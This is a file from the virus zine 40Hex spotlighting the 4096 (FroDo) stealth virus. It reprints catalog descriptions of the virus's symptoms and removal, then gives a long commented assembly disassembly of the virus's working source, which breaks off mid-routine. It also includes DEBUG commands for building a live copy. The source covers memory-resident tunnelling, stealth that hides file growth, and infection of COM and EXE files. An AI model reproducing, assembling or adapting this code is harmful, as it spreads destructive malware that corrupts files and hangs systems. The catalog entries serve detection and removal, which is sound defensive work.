40Hex Number 9 Volume 2 Issue 5
40Hex Number 9 Volume 2 Issue 5 File 005
Virus Spotlite on: 4096
The 4096, or FroDo, virus was one of the first known stealth viruses.
Presented below are the descriptions found in Patricia Hoffman's VSUM
and in the Computer Virus Catalog. Of course, the latter description
is far more accurate, albeit shorter. The virus infects EXE and COM
files but not overlays due to the bizarre method with which it checks
for a valid file extension. It also cannot handle SYS files. It has
a boot block in it; unfortunately, the code which is called to write
the boot block to the disk is damaged and the system crashes when the
virus attempts to access this code. However, it is worthwhile to rip
out the boot block from the code and write it to a disk; the display
is pretty neat.
To create a working copy, use debug to create a file with the follow-
ing bytes:
E9 68 02
and tack on the virus to the end of that file. Or, do the following:
C:\>DEBUG 4096.COM
-E FD
XXXX:00FD 00.E9 00.68 00.02
-R CX
CX 0FF1
:FF4
-W FD
Writing 0FF4 bytes
-Q
- Dark Angel
4096
Virus Name: 4096
Aliases: Century Virus, FroDo, IDF Virus, Stealth Virus, 100 Years
Virus
V Status: Common
Discovery: January, 1990
Symptoms: .COM, .EXE, & overlay file growth; TSR hides growth;
crosslinks; corruption of data files
Origin: Israel
Eff Length: 4,096 Bytes
Type Code: PRsA - Parasitic Resident .COM & .EXE Infector
Detection Method: ViruScan, F-Prot, IBM Scan, VirexPC, AVTK, NAV, Novi,
Sweep, CPAV, UTScan, Gobbler2, VBuster, AllSafe,
ViruSafe
Removal Instructions: CleanUp, F-Prot, NAV or delete infected files
General Comments:
The 4096 virus was first isolated in January, 1990. This virus is
considered a stealth virus in that it is almost invisible to the
system user.
The 4096 virus infects .COM, .EXE, and Overlay files, adding 4,096
bytes to their length. Once the virus is resident in system memory,
the increase in length will not appear in a directory listing. Once
this virus has installed itself into memory, it will infect any
executable file that is opened, including if it is opened with the
COPY or XCOPY command.
This virus is destructive to both data files and executable files,
as it very slowly cross-links files on the system's disk. The
cross-linking occurs so slowly that it appears there is a hardware
problem, the virus being almost invisible. The cross-linking of
files is the result of the virus manipulating the FATs, changing the
number of available sectors, as well as the user issuing CHKDSK/F
command which will think that the files have lost sectors or
cross-linking if the virus is in memory.
As a side note, if the virus is present in memory and you attempt to
copy infected files, the new copy of the file will not be infected
with the virus if the new copy does not have an executable file
extension. Thus, one way to disinfect a system is to copy off all
the infected files to diskettes with a non-executable file extension
(i.e., don't use .EXE, .COM, .SYS, etc.) while the virus is active in
memory, then power off the system and reboot from a write-protected,
uninfected system disk. Once rebooted and the virus is not in
memory, delete the infected files and copy back the files from the
diskettes to the original executable file names and extensions.
The above will disinfect the system, if done correctly, but will
still leave the problem of cross-linked files which are permanently
damaged.
On or after September 22 of any year, the 4096 virus will hang
infected systems. This appears to be a "bug" in the virus in that
it goes into a time consuming loop.
The 4096 virus also contains a boot-sector within its code; however,
it is never written out to the disk's boot sector. Moving this boot
sector to the boot sector of a diskette and rebooting the system
will result in the message "FRODO LIVES" being displayed. September
22 is Bilbo and Frodo Baggin's birthday in the Lord of the Rings
trilogy.
An important note on the 4096 virus: this virus will also infect
some data files. When this occurs, the data files will appear to be
fine on infected systems. However, after the system is later
disinfected, these files will now be corrupted and unpredictable
results may occur.
Known variant(s) of 4096 are:
4096-B: Similar to the 4096 virus, the main change is that the
encryption mechanism has been changed in order to avoid
detection.
4096-C: Isolated in January, 1991, this variant of 4096 is similar
to the original virus. The major difference is that the DOS
CHKDSK command will not show any cross-linking of files or
lost clusters. A symptom of infection by this variant is
that the disk space available according to a DIR command
will be more than the disk space available according to the
DOS CHKDSK program.
4096-D: Isolated in April, 1992, this variant of 4096 is similar
to the 4096-C variant in behavior. The major difference is
that it has been modified to avoid detection by some anti-
viral utilities.
Origin: Unknown April, 1992.
======== Computer Virus Catalog 1.2: "4096" Virus (5-June-1990) =======
Entry...............: "4096" virus
Alias(es)...........: "100 years" Virus = IDF Virus = Stealth Virus.
Virus Strain........: ---
Virus detected when.: October 1989.
where.: Haifa, Israel.
Classification......: Program Virus (extending), RAM-resident.
Length of Virus.....: .COM files: length increased by 4096 bytes.
.EXE files: length increased by 4096 bytes.
--------------------- Preconditions -----------------------------------
Operating System(s).: MS-DOS
Version/Release.....: 2.xx upward
Computer model(s)...: IBM-PC, XT, AT and compatibles
--------------------- Attributes --------------------------------------
Easy Identification.: ---
Type of infection...: System: Allocates a memory block at high end of
memory. Finds original address (inside
DOS) of Int 21h handler. Finds original
address (inside BIOS) of Int 13h handler,
therefore bypasses all active monitors.
Inserts a JMP FAR to virus code inside
original DOS handler.
.COM files: program length increased by 4096
.EXE files: program length increased by 4096
Infection Trigger...: Programs are infected at load time (using the
function Load/Execute of MS-DOS), and whenever
a file Access is done to a file with the exten-
sion of .COM or .EXE, (Open file AH=3D,
Create file AH=3C, File attrib AH=43,
File time/date AH=57, etc.)
Interrupts hooked...: INT21h, through a JMP FAR to virus code inside
DOS handler;
INT01h, during virus installation & execution
of DOS's load/execute function (AH=4B);
INT13h, INT24h during infection.
Damage..............: The computer usually hangs up.
Damage Trigger......: A Get Dos Version call when the date is after the
22th of September and before 1/1 of next year.
Particularities.....: Infected files have their year set to (year+100)
of the un-infected file.
If the system is infected, the virus redirects
all file accesses so that the virus itself can
not be read from the file. Also, find first/next
function returns are tampered so that files
with (year>100) are reduced by 4096 bytes in size.
--------------------- Agents ------------------------------------------
Countermeasures.....: Cannot be detected while in memory, so no
monitor/file change detector can help.
Countermeasures successful:
1) A Do-it-yourself way: Infect system by running
an infected file, ARC/ZIP/LHARC/ZOO all in-
fected .COM and .EXE files, boot from unin-
fected floppy, and UNARC/UNZIP/LHARC E etc.
all files. Pay special attention to disin-
fection of COMMAND.COM.
2) The JIV AntiVirus Package (by the author of
this contribution)
3) F. Skulason's F-PROT package.
Standard means......: ---
--------------------- Acknowledgement ---------------------------------
Location............: Weizmann Institute, Israel.
Classification by...: Ori Berger
Documentation by....: Ori Berger
Date................: 26-February-1990
===================== End of "4096" Virus =============================
_4096 segment byte public
assume cs:_4096, ds:_4096
; 4096 Virus
; Disassembly done by Dark Angel of Phalcon/Skism for 40Hex Issue #9
; Assemble with TASM; the resultant file size is 4081 bytes
org 0
startvirus:
db 0
jmp installvirus
oldheader: ; original 1Ch bytes of the carrier file
retn
db 75h,02,44h,15h,46h,20h
db 'Copyright Bourb%}i, I'
endoldheader:
EXEflag db 00h
db 0FEh, 3Ah
int1: ; locate the BIOS or DOS entry point for int 13h and int 21h
push bp ; set up stack frame
mov bp,sp
push ax
cmp word ptr [bp+4],0C000h ; in BIOS?
jnb foundorigint ; nope, haven't found it
mov ax,cs:DOSsegment ; in DOS?
cmp [bp+4],ax
jbe foundorigint
exitint1:
pop ax
pop bp
iret
foundorigint:
cmp byte ptr cs:tracemode,1
jz tracemode1
mov ax,[bp+4] ; save segment of entry point
mov word ptr cs:origints+2,ax
mov ax,[bp+2] ; save offset of entry point
mov word ptr cs:origints,ax
jb finishint1
pop ax
pop bp
mov ss,cs:savess ; restore the stack to its
mov sp,cs:savesp ; original state
mov al,cs:saveIMR ; Restore IMR
out 21h,al ; (enable interrupts)
jmp setvirusints
finishint1:
and word ptr [bp+6],0FEFFh ; turn off trap flag
mov al,cs:saveIMR ; and restore IMR
out 21h,al
jmp short exitint1
tracemode1:
dec byte ptr cs:instructionstotrace
jnz exitint1
and word ptr [bp+6],0FEFFh ; turn off trap flag
call saveregs
call swapvirint21 ; restore original int
lds dx,dword ptr cs:oldint1 ; 21h & int 1 handlers
mov al,1
call setvect
call restoreregs
jmp short finishint1
getint:
push ds
push si
xor si,si ; clear si
mov ds,si ; ds->interrupt table
xor ah,ah ; cbw would be better!?
mov si,ax
shl si,1 ; convert int # to offset in
shl si,1 ; interrupt table (int # x 4)
mov bx,[si] ; es:bx = interrupt vector
mov es,[si+2] ; get old interrupt vector
; save 3 bytes if use les bx,[si]
pop si
pop ds
retn
installvirus:
mov word ptr cs:stackptr,offset topstack
mov cs:initialax,ax ; save initial value for ax
mov ah,30h ; Get DOS version
int 21h
mov cs:DOSversion,al ; Save DOS version
mov cs:carrierPSP,ds ; Save PSP segment
mov ah,52h ; Get list of lists
int 21h
mov ax,es:[bx-2] ; segment of first MCB
mov cs:DOSsegment,ax ; save it for use in int 1
mov es,ax ; es = segment first MCB
mov ax,es:[1] ; Get owner of first MCB
mov cs:ownerfirstMCB,ax ; save it
push cs
pop ds
mov al,1 ; get single step vector
call getint
mov word ptr ds:oldint1,bx ; save it for later
mov word ptr ds:oldint1+2,es; restoration
mov al,21h ; get int 21h vector
call getint
mov word ptr ds:origints,bx
mov word ptr ds:origints+2,es
mov byte ptr ds:tracemode,0 ; regular trace mode on
mov dx,offset int1 ; set new int 1 handler
mov al,1
call setvect
pushf
pop ax
or ax,100h ; turn on trap flag
push ax
in al,21h ; Get old IMR
mov ds:saveIMR,al
mov al,0FFh ; disable all interrupts
out 21h,al
popf
mov ah,52h ; Get list of lists
pushf ; (for tracing purposes)
call dword ptr ds:origints ; perform the tunnelling
pushf
pop ax
and ax,0FEFFh ; turn off trap flag
push ax
popf
mov al,ds:saveIMR ; reenable interrupts
out 21h,al
push ds
lds dx,dword ptr ds:oldint1
mov al,1 ; restore int 1 to the
call setvect ; original handler
pop ds
les di,dword ptr ds:origints; set up int 21h handlers
mov word ptr ds:oldint21,di
mov word ptr ds:oldint21+2,es
mov byte ptr ds:jmpfarptr,0EAh ; jmp far ptr
mov word ptr ds:int21store,offset otherint21
mov word ptr ds:int21store+2,cs
call swapvirint21 ; activate virus in memory
mov ax,4B00h
mov ds:checkres,ah ; set resident flag to a
; dummy value
mov dx,offset EXEflag+1 ; save EXE flag
push word ptr ds:EXEflag
int 21h ; installation check
; returns checkres=0 if
; installed
pop word ptr ds:EXEflag ; restore EXE flag
add word ptr es:[di-4],9
nop ; !?
mov es,ds:carrierPSP ; restore ES and DS to their
mov ds,ds:carrierPSP ; original values
sub word ptr ds:[2],(topstack/10h)+1
; alter top of memory in PSP
mov bp,ds:[2] ; get segment
mov dx,ds
sub bp,dx
mov ah,4Ah ; Find total available memory
mov bx,0FFFFh
int 21h
mov ah,4Ah ; Allocate all available memory
int 21h
dec dx ; go to MCB of virus memory
mov ds,dx
cmp byte ptr ds:[0],'Z' ; is it the last block?
je carrierislastMCB
dec byte ptr cs:checkres ; mark need to install virus
carrierislastMCB:
cmp byte ptr cs:checkres,0 ; need to install?
je playwithMCBs ; nope, go play with MCBs
mov byte ptr ds:[0],'M' ; mark not end of chain
playwithMCBs:
mov ax,ds:[3] ; get memory size controlled
mov bx,ax ; by the MCB
sub ax,(topstack/10h)+1 ; calculate new size
add dx,ax ; find high memory segment
mov ds:[3],ax ; put new size in MCB
inc dx ; one more for the MCB
mov es,dx ; es->high memory MCB
mov byte ptr es:[0],'Z' ; mark end of chain
push word ptr cs:ownerfirstMCB ; get DOS PSP ID
pop word ptr es:[1] ; make it the owner
mov word ptr es:[3],160h ; fill in the size field
inc dx
mov es,dx ; es->high memory area
push cs
pop ds
mov cx,(topstack/2) ; zopy 0-1600h to high memory
mov si,offset topstack-2
mov di,si
std ; zopy backwards
rep movsw
cld
push es ; set up stack for jmp into
mov ax,offset highentry ; virus code in high memory
push ax
mov es,cs:carrierPSP ; save current PSP segment
mov ah,4Ah ; Alter memory allocation
mov bx,bp ; bx = paragraphs
int 21h
retf ; jmp to virus code in high
highentry: ; memory
call swapvirint21
mov word ptr cs:int21store+2,cs
call swapvirint21
push cs
pop ds
mov byte ptr ds:handlesleft,14h ; reset free handles count
push cs
pop es
mov di,offset handletable
mov cx,14h
xor ax,ax ; clear handle table
rep stosw
mov ds:hideclustercountchange,al ; clear the flag
mov ax,ds:carrierPSP
mov es,ax ; es->PSP
lds dx,dword ptr es:[0Ah] ; get terminate vector (why?)
mov ds,ax ; ds->PSP
add ax,10h ; adjust for PSP
add word ptr cs:oldheader+16h,ax ; adjust jmp location
cmp byte ptr cs:EXEflag,0 ; for PSP
jne returntoEXE
returntoCOM:
sti
mov ax,word ptr cs:oldheader; restore first 6 bytes of the
mov ds:[100h],ax ; COM file
mov ax,word ptr cs:oldheader+2
mov ds:[102h],ax
mov ax,word ptr cs:oldheader+4
mov ds:[104h],ax
push word ptr cs:carrierPSP ; Segment of carrier file's
mov ax,100h ; PSP
push ax
mov ax,cs:initialax ; restore orig. value of ax
retf ; return to original COM file
returntoEXE:
add word ptr cs:oldheader+0eh,ax
mov ax,cs:initialax ; Restore ax
mov ss,word ptr cs:oldheader+0eh ; Restore stack to
mov sp,word ptr cs:oldheader+10h ; original value
sti
jmp dword ptr cs:oldheader+14h ; jmp to original cs:IP
; entry point
entervirus:
cmp sp,100h ; COM file?
ja dont_resetstack ; if so, skip this
xor sp,sp ; new stack
dont_resetstack:
mov bp,ax
call next ; calculate relativeness
next:
pop cx
sub cx,offset next ; cx = delta offset
mov ax,cs ; ax = segment
mov bx,10h ; convert to offset
mul bx
add ax,cx
adc dx,0
div bx ; convert to seg:off
push ax ; set up stack for jmp
mov ax,offset installvirus ; to installvirus
push ax
mov ax,bp
retf ; go to installvirus
int21commands:
db 30h ; get DOS version
dw offset getDOSversion
db 23h ; FCB get file size
dw offset FCBgetfilesize
db 37h ; get device info
dw offset get_device_info
db 4Bh ; execute
dw offset execute
db 3Ch ; create file w/ handle
dw offset createhandle
db 3Dh ; open file
dw offset openhandle
db 3Eh ; close file
dw offset handleclosefile
db 0Fh ; FCB open file
dw offset FCBopenfile
db 14h ; sequential FCB read
dw offset sequentialFCBread
db 21h ; random FCB read
dw offset randomFCBread
db 27h ; random FCB block read
dw offset randomFCBblockread
db 11h ; FCB find first
dw offset FCBfindfirstnext
db 12h ; FCB find next
dw offset FCBfindfirstnext
db 4Eh ; filename find first
dw offset filenamefindfirstnext
db 4Fh ; filename find next
dw offset filenamefindfirstnext
db 3Fh ; read
dw offset handleread
db 40h ; write
dw offset handlewrite
db 42h ; move file pointer
dw offset handlemovefilepointer
db 57h ; get/set file time/date
dw offset getsetfiletimedate
db 48h ; allocate memory
dw offset allocatememory
endcommands:
otherint21:
cmp ax,4B00h ; execute?
jnz notexecute
mov cs:checkres,al ; clear the resident flag
notexecute:
push bp ; set up stack frame
mov bp,sp
push [bp+6] ; push old flags
pop cs:int21flags ; and put in variable
pop bp ; why?
push bp ; why?
mov bp,sp ; set up new stack frame
call saveregs
call swapvirint21 ; reenable DOS int 21h handler
call disableBREAK
call restoreregs
call _pushall
push bx
mov bx,offset int21commands ; bx->command table
scanforcommand:
cmp ah,cs:[bx] ; scan for the function
jne findnextcommand ; code/subroutine combination
mov bx,cs:[bx+1]
xchg bx,[bp-14h]
cld
retn
findnextcommand:
add bx,3 ; go to next command
cmp bx,offset endcommands ; in the table until
jb scanforcommand ; there are no more
pop bx
exitotherint21:
call restoreBREAK
in al,21h ; save IMR
mov cs:saveIMR,al
mov al,0FFh ; disable all interrupts
out 21h,al
mov byte ptr cs:instructionstotrace,4 ; trace into
mov byte ptr cs:tracemode,1 ; oldint21
call replaceint1 ; set virus int 1 handler
call _popall
push ax
mov ax,cs:int21flags ; get the flags
or ax,100h ; turn on the trap flag
push ax ; and set it in motion
popf
pop ax
pop bp
jmp dword ptr cs:oldint21 ; chain back to original int
; 21h handler -- do not return
exitint21:
call saveregs
call restoreBREAK
call swapvirint21
call restoreregs
pop bp
push bp ; set up stack frame
mov bp,sp
push word ptr cs:int21flags ; get the flags and put
pop word ptr [bp+6] ; them on the stack for
pop bp ; the iret
iret
FCBfindfirstnext:
call _popall
call callint21
or al,al ; Found any files?
jnz exitint21 ; guess not
call _pushall
call getdisktransferaddress
mov al,0
cmp byte ptr [bx],0FFh ; Extended FCB?
jne findfirstnextnoextendedFCB
mov al,[bx+6]
add bx,7 ; convert to normal FCB
findfirstnextnoextendedFCB:
and cs:hide_size,al
test byte ptr [bx+1Ah],80h ; check year bit for virus
jz _popall_then_exitint21 ; infection tag. exit if so
sub byte ptr [bx+1Ah],0C8h ; alter file date
cmp byte ptr cs:hide_size,0
jne _popall_then_exitint21
sub word ptr [bx+1Dh],1000h ; hide file size
sbb word ptr [bx+1Fh],0
_popall_then_exitint21:
call _popall
jmp short exitint21
FCBopenfile:
call _popall
call callint21 ; chain to original int 21h
call _pushall
or al,al ; 0 = success
jnz _popall_then_exitint21
mov bx,dx
test byte ptr [bx+15h],80h ; check if infected yet
jz _popall_then_exitint21
sub byte ptr [bx+15h],0C8h ; restore date
sub word ptr [bx+10h],1000h ; and hide file size
sbb byte ptr [bx+12h],0
jmp short _popall_then_exitint21
randomFCBblockread:
jcxz go_exitotherint21 ; reading any blocks?
randomFCBread:
mov bx,dx
mov si,[bx+21h] ; check if reading first
or si,[bx+23h] ; bytes
jnz go_exitotherint21
jmp short continueFCBread
sequentialFCBread:
mov bx,dx
mov ax,[bx+0Ch] ; check if reading first
or al,[bx+20h] ; bytes
jnz go_exitotherint21
continueFCBread:
call checkFCBokinfect
jnc continuecontinueFCBread
go_exitotherint21:
jmp exitotherint21
continuecontinueFCBread:
call _popall
call _pushall
call callint21 ; chain to original handler
mov [bp-4],ax ; set the return codes
mov [bp-8],cx ; properly
push ds ; save FCB pointer
push dx
call getdisktransferaddress
cmp word ptr [bx+14h],1 ; check for EXE infection
je FCBreadinfectedfile ; (IP = 1)
mov ax,[bx] ; check for COM infection
add ax,[bx+2] ; (checksum = 0)
add ax,[bx+4]
jz FCBreadinfectedfile
add sp,4 ; no infection, no stealth
jmp short _popall_then_exitint21 ; needed
FCBreadinfectedfile:
pop dx ; restore address of the FCB
pop ds
mov si,dx
push cs
pop es
mov di,offset tempFCB ; copy FCB to temporary one
mov cx,25h
rep movsb
mov di,offset tempFCB
push cs
pop ds
mov ax,[di+10h] ; get old file size
mov dx,[di+12h]
add ax,100Fh ; increase by virus size
adc dx,0 ; and round to the nearest
and ax,0FFF0h ; paragraph
mov [di+10h],ax ; insert new file size
mov [di+12h],dx
sub ax,0FFCh
sbb dx,0
mov [di+21h],ax ; set new random record #
mov [di+23h],dx
mov word ptr [di+0Eh],1 ; record size = 1
mov cx,1Ch
mov dx,di
mov ah,27h ; random block read 1Ch bytes
call callint21
jmp _popall_then_exitint21
FCBgetfilesize:
push cs
pop es
mov si,dx
mov di,offset tempFCB ; copy FCB to temp buffer
mov cx,0025h
repz movsb
push ds
push dx
push cs
pop ds
mov dx,offset tempFCB
mov ah,0Fh ; FCB open file
call callint21
mov ah,10h ; FCB close file
call callint21
test byte ptr [tempFCB+15h],80h ; check date bit
pop si
pop ds
jz will_exitotherint21 ; exit if not infected
les bx,dword ptr cs:[tempFCB+10h] ; get filesize
mov ax,es
sub bx,1000h ; hide increase
sbb ax,0
xor dx,dx
mov cx,word ptr cs:[tempFCB+0eh] ; get record size
dec cx
add bx,cx
adc ax,0
inc cx
div cx
mov [si+23h],ax ; fix random access record #
xchg dx,ax
xchg bx,ax
div cx
mov [si+21h],ax ; fix random access record #
jmp _popall_then_exitint21
filenamefindfirstnext:
and word ptr cs:int21flags,-2 ; turn off trap flag
call _popall
call callint21
call _pushall
jnb filenamefffnOK ; continue if a file is found
or word ptr cs:int21flags,1
jmp _popall_then_exitint21
filenamefffnOK:
call getdisktransferaddress
test byte ptr [bx+19h],80h ; Check high bit of date
jnz filenamefffnfileinfected; Bit set if infected
jmp _popall_then_exitint21
filenamefffnfileinfected:
sub word ptr [bx+1Ah],1000h ; hide file length increase
sbb word ptr [bx+1Ch],0
sub byte ptr [bx+19h],0C8h ; and date change
jmp _popall_then_exitint21
createhandle:
push cx
and cx,7 ; mask the attributes
cmp cx,7 ; r/o, hidden, & system?
je exit_create_handle
pop cx
call replaceint13and24
call callint21 ; chain to original int 21h
call restoreint13and24
pushf
cmp byte ptr cs:errorflag,0 ; check if any errors yet
je no_errors_createhandle
popf
will_exitotherint21:
jmp exitotherint21
no_errors_createhandle:
popf
jc other_error_createhandle; exit on error
mov bx,ax ; move handle to bx
mov ah,3Eh ; Close file
call callint21
jmp short openhandle
other_error_createhandle:
or byte ptr cs:int21flags,1; turn on the trap flag
mov [bp-4],ax ; set the return code properly
jmp _popall_then_exitint21
exit_create_handle:
pop cx
jmp exitotherint21
openhandle:
call getcurrentPSP
call checkdsdxokinfect
jc jmp_exitotherint21
cmp byte ptr cs:handlesleft,0 ; make sure there is a free
je jmp_exitotherint21 ; entry in the table
call setup_infection ; open the file
cmp bx,0FFFFh ; error?
je jmp_exitotherint21 ; if so, exit
dec byte ptr cs:handlesleft
push cs
pop es
mov di,offset handletable
mov cx,14h
xor ax,ax ; find end of the table
repne scasw
mov ax,cs:currentPSP ; put the PSP value and the
mov es:[di-2],ax ; handle # in the table
mov es:[di+26h],bx
mov [bp-4],bx ; put handle # in return code
handleopenclose_exit:
and byte ptr cs:int21flags,0FEh ; turn off the trap flag
jmp _popall_then_exitint21
jmp_exitotherint21:
jmp exitotherint21
handleclosefile:
push cs
pop es
call getcurrentPSP
mov di,offset handletable
mov cx,14h ; 14h entries max
mov ax,cs:currentPSP ; search for calling PSP
scanhandle_close:
repne scasw
jnz handlenotfound ; handle not trapped
cmp bx,es:[di+26h] ; does the handle correspond?
jne scanhandle_close ; if not, find another handle
mov word ptr es:[di-2],0 ; otherwise, clear handle
call infect_file
inc byte ptr cs:handlesleft ; fix handles left counter
jmp short handleopenclose_exit ; and exit
handlenotfound:
jmp exitotherint21
getdisktransferaddress:
push es
mov ah,2Fh ; Get disk transfer address
call callint21 ; to es:bx
push es
pop ds ; mov to ds:bx
pop es
retn
execute:
or al,al ; load and execute?
jz loadexecute ; yepper!
jmp checkloadnoexecute ; otherwise check if
; load/no execute
loadexecute:
push ds ; save filename
push dx
mov word ptr cs:parmblock,bx; save parameter block and
mov word ptr cs:parmblock+2,es; move to ds:si
lds si,dword ptr cs:parmblock
mov di,offset copyparmblock ; copy the parameter block
mov cx,0Eh
push cs
pop es
rep movsb
pop si ; copy the filename
pop ds ; to the buffer
mov di,offset copyfilename
mov cx,50h
rep movsb
mov bx,0FFFFh
call allocate_memory ; allocate available memory
call _popall
pop bp ; save the parameters
pop word ptr cs:saveoffset ; on the stack
pop word ptr cs:savesegment
pop word ptr cs:int21flags
mov ax,4B01h ; load/no execute
push cs ; ds:dx -> file name
pop es ; es:bx -> parameter block
mov bx,offset copyparmblock
pushf ; perform interrupt 21h
call dword ptr cs:oldint21
jnc continue_loadexecute ; continue if no error
or word ptr cs:int21flags,1; turn on trap flag
push word ptr cs:int21flags ; if error
push word ptr cs:savesegment ; restore stack
push word ptr cs:saveoffset
push bp ; restore the stack frame
mov bp,sp ; and restore ES:BX to
les bx,dword ptr cs:parmblock ; point to the parameter
jmp exitint21 ; block
continue_loadexecute:
call getcurrentPSP
push cs
pop es
mov di,offset handletable ; scan the handle table
mov cx,14h ; for the current PSP's
scanhandle_loadexecute: ; handles
mov ax,cs:currentPSP
repne scasw
jnz loadexecute_checkEXE
mov word ptr es:[di-2],0 ; clear entry in handle table
inc byte ptr cs:handlesleft ; fix handlesleft counter
jmp short scanhandle_loadexecute
loadexecute_checkEXE:
lds si,dword ptr cs:origcsip
cmp si,1 ; Check if EXE infected
jne loadexecute_checkCOM
mov dx,word ptr ds:oldheader+16h ; get initial CS
add dx,10h ; adjust for PSP
mov ah,51h ; Get current PSP segment
call callint21
add dx,bx ;adjust for start load segment
mov word ptr cs:origcsip+2,dx
push word ptr ds:oldheader+14h ; save old IP
pop word ptr cs:origcsip
add bx,10h ; adjust for the PSP
add bx,word ptr ds:oldheader+0Eh ; add old SS
mov cs:origss,bx
push word ptr ds:oldheader+10h ; old SP
pop word ptr cs:origsp
jmp short perform_loadexecute
loadexecute_checkCOM:
mov ax,[si] ; Check if COM infected
add ax,[si+2]
add ax,[si+4]
jz loadexecute_doCOM ; exit if already infected
push cs ; otherwise check to see
pop ds ; if it is suitable for
mov dx,offset copyfilename ; infection
call checkdsdxokinfect
call setup_infection
inc byte ptr cs:hideclustercountchange
call infect_file ; infect the file
dec byte ptr cs:hideclustercountchange
perform_loadexecute:
mov ah,51h ; Get current PSP segment
call callint21
call saveregs
call restoreBREAK
call swapvirint21
call restoreregs
mov ds,bx ; ds = current PSP segment
mov es,bx ; es = current PSP segment
push word ptr cs:int21flags ; restore stack parameters
push word ptr cs:savesegment
push word ptr cs:saveoffset
pop word ptr ds:[0Ah] ; Set terminate address in PSP
pop word ptr ds:[0Ch] ; to return address found on
; the stack
; (int 21h caller CS:IP)
push ds
lds dx,dword ptr ds:[0Ah] ; Get terminate address in PSP
mov al,22h ; Set terminate address to it
call setvect
pop ds
popf
pop ax
mov ss,cs:origss ; restore the stack
mov sp,cs:origsp ; and
jmp dword ptr cs:origcsip ; perform the execute
loadexecute_doCOM:
mov bx,[si+1] ; restore original COM file
mov ax,word ptr ds:[bx+si-261h]
mov [si],ax
mov ax,word ptr ds:[bx+si-25Fh]
mov [si+2],ax
mov ax,word ptr ds:[bx+si-25Dh]
mov [si+4],ax
jmp short perform_loadexecute
checkloadnoexecute:
cmp al,1
je loadnoexecute
jmp exitotherint21
loadnoexecute:
or word ptr cs:int21flags,1; turn on trap flag
mov word ptr cs:parmblock,bx; save pointer to parameter
mov word ptr cs:parmblock+2,es ; block
call _popall
call callint21 ; chain to int 21h
call _pushall
les bx,dword ptr cs:parmblock ; restore pointer to
; parameter block
lds si,dword ptr es:[bx+12h]; get cs:ip on execute return
jc exit_loadnoexecute
and byte ptr cs:int21flags,0FEh ; turn off trap flag
cmp si,1 ; check for EXE infection
je loadnoexecute_EXE_already_infected
; infected if initial IP = 1
mov ax,[si] ; check for COM infection
add ax,[si+2] ; infected if checksum = 0
add ax,[si+4]
jnz perform_the_execute
mov bx,[si+1] ; get jmp location
mov ax,ds:[bx+si-261h] ; restore original COM file
mov [si],ax
mov ax,ds:[bx+si-25Fh]
mov [si+2],ax
mov ax,ds:[bx+si-25Dh]
mov [si+4],ax
jmp short perform_the_execute
loadnoexecute_EXE_already_infected:
mov dx,word ptr ds:oldheader+16h ; get entry CS:IP
call getcurrentPSP
mov cx,cs:currentPSP
add cx,10h ; adjust for PSP
add dx,cx
mov es:[bx+14h],dx ; alter the entry point CS
mov ax,word ptr ds:oldheader+14h
mov es:[bx+12h],ax
mov ax,word ptr ds:oldheader+0Eh ; alter stack
add ax,cx
mov es:[bx+10h],ax
mov ax,word ptr ds:oldheader+10h
mov es:[bx+0Eh],ax
perform_the_execute:
call getcurrentPSP
mov ds,cs:currentPSP
mov ax,[bp+2] ; restore length as held in
mov word ptr ds:oldheader+6,ax
mov ax,[bp+4] ; the EXE header
mov word ptr ds:oldheader+8,ax
exit_loadnoexecute:
jmp _popall_then_exitint21
getDOSversion:
mov byte ptr cs:hide_size,0
mov ah,2Ah ; Get date
call callint21
cmp dx,916h ; September 22?
jb exitDOSversion ; leave if not
call writebootblock ; this is broken
exitDOSversion:
jmp exitotherint21
infect_file:
call replaceint13and24
call findnextparagraphboundary
mov byte ptr ds:EXEflag,1 ; assume is an EXE file
cmp word ptr ds:readbuffer,'ZM' ; check here for regular
je clearlyisanEXE ; EXE header
cmp word ptr ds:readbuffer,'MZ' ; check here for alternate
je clearlyisanEXE ; EXE header
dec byte ptr ds:EXEflag ; if neither, assume is a
jz try_infect_com ; COM file
clearlyisanEXE:
mov ax,ds:lengthinpages ; get file size in pages
shl cx,1 ; and convert it to
mul cx ; bytes
add ax,200h ; add 512 bytes
cmp ax,si
jb go_exit_infect_file
mov ax,ds:minmemory ; make sure min and max memory
or ax,ds:maxmemory ; are not both zero
jz go_exit_infect_file
mov ax,ds:filesizelow ; get filesize in dx:ax
mov dx,ds:filesizehigh
mov cx,200h ; convert to pages
div cx
or dx,dx ; filesize multiple of 512?
jz filesizemultiple512 ; then don't increment #
inc ax ; pages
filesizemultiple512:
mov ds:lengthinpages,ax ; put in new values for length
mov ds:lengthMOD512,dx ; fields
cmp word ptr ds:initialIP,1 ; check if already infected
je exit_infect_file
mov word ptr ds:initialIP,1 ; set new entry point
mov ax,si ; calculate new entry point
sub ax,ds:headersize ; segment
mov ds:initialcs,ax ; put this in for cs
add word ptr ds:lengthinpages,8 ; 4K more
mov ds:initialSS,ax ; put entry segment in for SS
mov word ptr ds:initialSP,1000h ; set stack @ 1000h
call finish_infection
go_exit_infect_file:
jmp short exit_infect_file
try_infect_com:
cmp si,0F00h ; make sure file is under
jae exit_infect_file ; F00h paragraphs or else
; it will be too large once it
; is infected
mov ax,ds:readbuffer ; first save first 6 bytes
mov word ptr ds:oldheader,ax
add dx,ax
mov ax,ds:readbuffer+2
mov word ptr ds:oldheader+2,ax
add dx,ax
mov ax,ds:readbuffer+4
mov word ptr ds:oldheader+4,ax
add dx,ax ; exit if checksum = 0
jz exit_infect_file ; since then it is already
; infected
mov cl,0E9h ; encode jmp instruction
mov byte ptr ds:readbuffer,cl
mov ax,10h ; find file size
mul si
add ax,offset entervirus-3 ; calculate offset of jmp
mov word ptr ds:readbuffer+1,ax ; encode it
mov ax,ds:readbuffer ; checksum it to 0
add ax,ds:readbuffer+2
neg ax
mov ds:readbuffer+4,ax
call finish_infection
exit_infect_file:
mov ah,3Eh ; Close file
call callint21
call restoreint13and24
retn
findnextparagraphboundary:
push cs
pop ds
mov ax,5700h ; Get file time/date
call callint21
mov ds:filetime,cx
mov ds:filedate,dx
mov ax,4200h ; Go to beginning of file
xor cx,cx
mov dx,cx
call callint21
mov ah,3Fh ; Read first 1Ch bytes
mov cl,1Ch
mov dx,offset readbuffer
call callint21
mov ax,4200h ; Go to beginning of file
xor cx,cx
mov dx,cx
call callint21
mov ah,3Fh ; Read first 1Ch bytes
mov cl,1Ch
mov dx,offset oldheader
call callint21
mov ax,4202h ; Go to end of file
xor cx,cx
mov dx,cx
call callint21
mov ds:filesizelow,ax ; save filesize
mov ds:filesizehigh,dx
mov di,ax
add ax,0Fh ; round to nearest paragraph
